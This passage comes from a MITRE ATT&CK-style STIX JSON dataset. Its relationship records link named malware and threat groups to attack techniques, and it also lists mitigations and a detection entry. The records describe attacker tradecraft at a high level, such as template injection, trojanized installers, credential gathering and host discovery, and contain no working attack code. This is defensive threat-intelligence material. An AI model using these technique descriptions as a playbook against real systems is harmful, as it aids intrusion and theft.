2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c22b1e4-df62-417d-a64f-c6f690ebe566","type":"relationship","created":"2021-10-07T16:38:37.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-10-07T16:38:37.565Z","description":"[Chaes](https://attack.mitre.org/software/S0631) changed the template target of the settings.xml file embedded in the Word document and populated that field with the downloaded URL of the next payload.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c24c5c3-0aa3-4caa-b983-9739eb8c57eb","type":"relationship","created":"2020-09-30T13:48:26.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:13:38.350Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can collect the TCP/IP, DNS, DHCP, and network adapter configuration on a compromised host via ipconfig.exe /all.(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c2766b3-87ff-4ec7-9ff4-faa3d4572eb4","type":"relationship","created":"2020-11-18T21:25:59.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-30T15:35:49.981Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can create a task named to appear benign.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c2ed616-647a-4cf5-9f43-b0b78f9fdcd1","created":"2022-10-11T12:49:38.262Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T12:49:38.262Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can download additional files onto a compromised host.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c3459f4-8c8e-4650-bd21-ad506a1a3ee9","created":"2024-08-26T18:13:28.315Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:13:28.315Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) used registry run keys for process execution during initial victim infection.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c3ada08-1908-4458-a454-d91fda25ad04","type":"relationship","created":"2020-08-12T17:52:48.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks IRON LIBERTY July 2019","url":"https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector","description":"Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-07T18:39:07.602Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has placed trojanized installers for control system software on legitimate vendor app stores.(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c3c62d3-d97c-4478-b822-e7019861121d","created":"2021-09-02T16:01:58.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"},{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T16:12:53.897Z","description":"(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c3d1701-b0ed-4a20-a864-d2681535cfa8","type":"relationship","created":"2019-10-04T19:37:26.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T12:37:52.970Z","description":"Users need to be trained to not authorize third-party applications they don’t recognize. The user should pay particular attention to the redirect URL: if the URL is a misspelled or convoluted sequence of words related to an expected service or SaaS application, the website is likely trying to spoof a legitimate service. Users should also be cautious about the permissions they are granting to apps. For example, offline access and access to read emails should excite higher suspicions because adversaries can utilize SaaS APIs to discover credentials and other sensitive communications.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c3ee91e-c64e-47c5-8aeb-300bc8aa6b6e","created":"2023-09-29T15:29:41.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:39:50.524Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent execution of potentially obfuscated scripts or payloads.","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c3faa58-eb39-407a-8233-8f43f53aa777","type":"relationship","created":"2019-01-30T20:01:45.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Oceanlotus May 2017","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2019-04-24T20:56:04.656Z","description":"[Denis](https://attack.mitre.org/software/S0354) has several commands to search directories for files.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c41ad44-8a0f-40bc-b832-ad7aa99e5290","created":"2024-03-28T15:03:14.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Token Protection 2023","description":"Microsoft. (2023, October 23). Conditional Access: Token protection (preview). Retrieved January 2, 2024.","url":"https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection"},{"source_name":"Okta DPoP 2023","description":"Venkat Viswanathan. (2023, June 13). A leap forward in token security: Okta adds support for DPoP. Retrieved January 2, 2024.","url":"https://www.okta.com/blog/2023/06/a-leap-forward-in-token-security-okta-adds-support-for-dpop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T21:20:22.961Z","description":"Consider implementing token binding strategies, such as Azure AD token protection or OAuth Proof of Possession, that cryptographically bind a token to a secret. This may prevent the token from being used without knowledge of the secret or possession of the device the token is tied to.(Citation: Microsoft Token Protection 2023)(Citation: Okta DPoP 2023)","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c41bfe8-99bc-4aed-a8b9-9e19794a6c59","type":"relationship","created":"2019-06-21T18:37:11.962Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:18:40.974Z","description":"A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c424acf-2a41-4b34-867f-590ade731fc2","type":"relationship","created":"2021-06-15T19:57:30.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-15T19:57:30.201Z","description":"\n[Conti](https://attack.mitre.org/software/S0575) has the ability to discover hosts on a target network.(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c4281ea-b225-44b4-b460-255e51586598","type":"relationship","created":"2020-05-29T20:32:42.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-15T22:52:32.034Z","description":"[Get2](https://attack.mitre.org/software/S0460) has the ability to identify the computer name and Windows version of an infected host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--099ecff2-41b8-436d-843c-038a9aa9aa69","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c4621d7-76b4-4af5-838e-391236f521d2","type":"relationship","created":"2020-03-15T15:37:47.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:49:28.708Z","description":"Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. ","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-17T00:29:46.626Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) saves information from its keylogging routine as a .zip file in the present working directory.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c4bbad5-4821-4059-b881-557c2a6db1a0","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.","url":"https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:40:35.187Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) can gather the IP address from the victim's machine.(Citation: Symantec Volgmer Aug 2014)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c4bd197-08a2-4ded-baba-bd70b6b4afd0","type":"relationship","created":"2020-02-04T12:58:40.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-07T20:49:19.028Z","description":"Proactively search for credentials within the Registry and attempt to remediate the risk.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c51f7a2-346b-4ef9-ade0-ac2c5c845c27","type":"relationship","created":"2020-06-22T21:18:35.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-22T21:18:35.451Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) malware has used CreateProcess to launch additional malicious components.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c555aa7-87fa-4c5d-9224-a61cd0d0157f","type":"relationship","created":"2020-03-19T22:16:54.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","source_name":"FireEye APT33 Guardrail"}],"modified":"2020-03-19T22:16:54.864Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c559e9a-0ad1-42cb-9848-5b54112a543b","type":"relationship","created":"2021-09-21T15:02:49.116Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Wevtutil Microsoft Documentation","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil","description":"Microsoft. (n.d.). wevtutil. Retrieved September 14, 2021."},{"source_name":"F-Secure Lazarus Cryptocurrency Aug 2020","url":"https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf","description":"F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."}],"modified":"2021-09-21T15:02:49.116Z","description":"[Wevtutil](https://attack.mitre.org/software/S0645) can be used to export events from a specific log.(Citation: Wevtutil Microsoft Documentation)(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)","relationship_type":"uses","source_ref":"tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c593e55-8c4d-4705-9e8b-ac83962973df","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.818Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can enable/disable RDP connection and can start a remote desktop session using a browser web socket client.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c59b652-09bc-4457-8342-949a87c1fafa","created":"2022-10-04T06:47:57.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T21:06:04.142Z","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) has placed a [Stripped Payloads](https://attack.mitre.org/techniques/T1027/008) with a `plist` extension in the [Launch Agent](https://attack.mitre.org/techniques/T1543/001)'s folder. (Citation: SentinelLabs reversing run-only applescripts 2021)","relationship_type":"uses","source_ref":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9c5b1767-f7cc-4807-887c-92e09a8a706f","created":"2022-03-30T14:26:51.837Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Contextual data about a group which describes group and activity around it that may attempt to find cloud groups and permission settings. ","modified":"2022-04-14T13:19:22.614Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8d8c7cac-94cf-4726-8989-cab33851168c","target_ref":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c5c8dbe-ec34-46f9-b4af-0a6e73f00c89","created":"2019-01-30T17:33:41.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos MuddyWater May 2019","description":"Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.","url":"https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html"},{"source_name":"Securelist MuddyWater Oct 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/"},{"source_name":"Talos MuddyWater Jan 2022","description":"Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.","url":"https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"},{"source_name":"Reaqta MuddyWater November 2017","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T14:17:24.686Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim’s OS version and machine name.(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)(Citation: Talos MuddyWater Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c61749d-ad78-476d-8cd6-ba4eafc8f74e","created":"2021-09-23T12:35:23.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"},{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"},{"source_name":"FBI Flash FIN7 USB","description":"The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 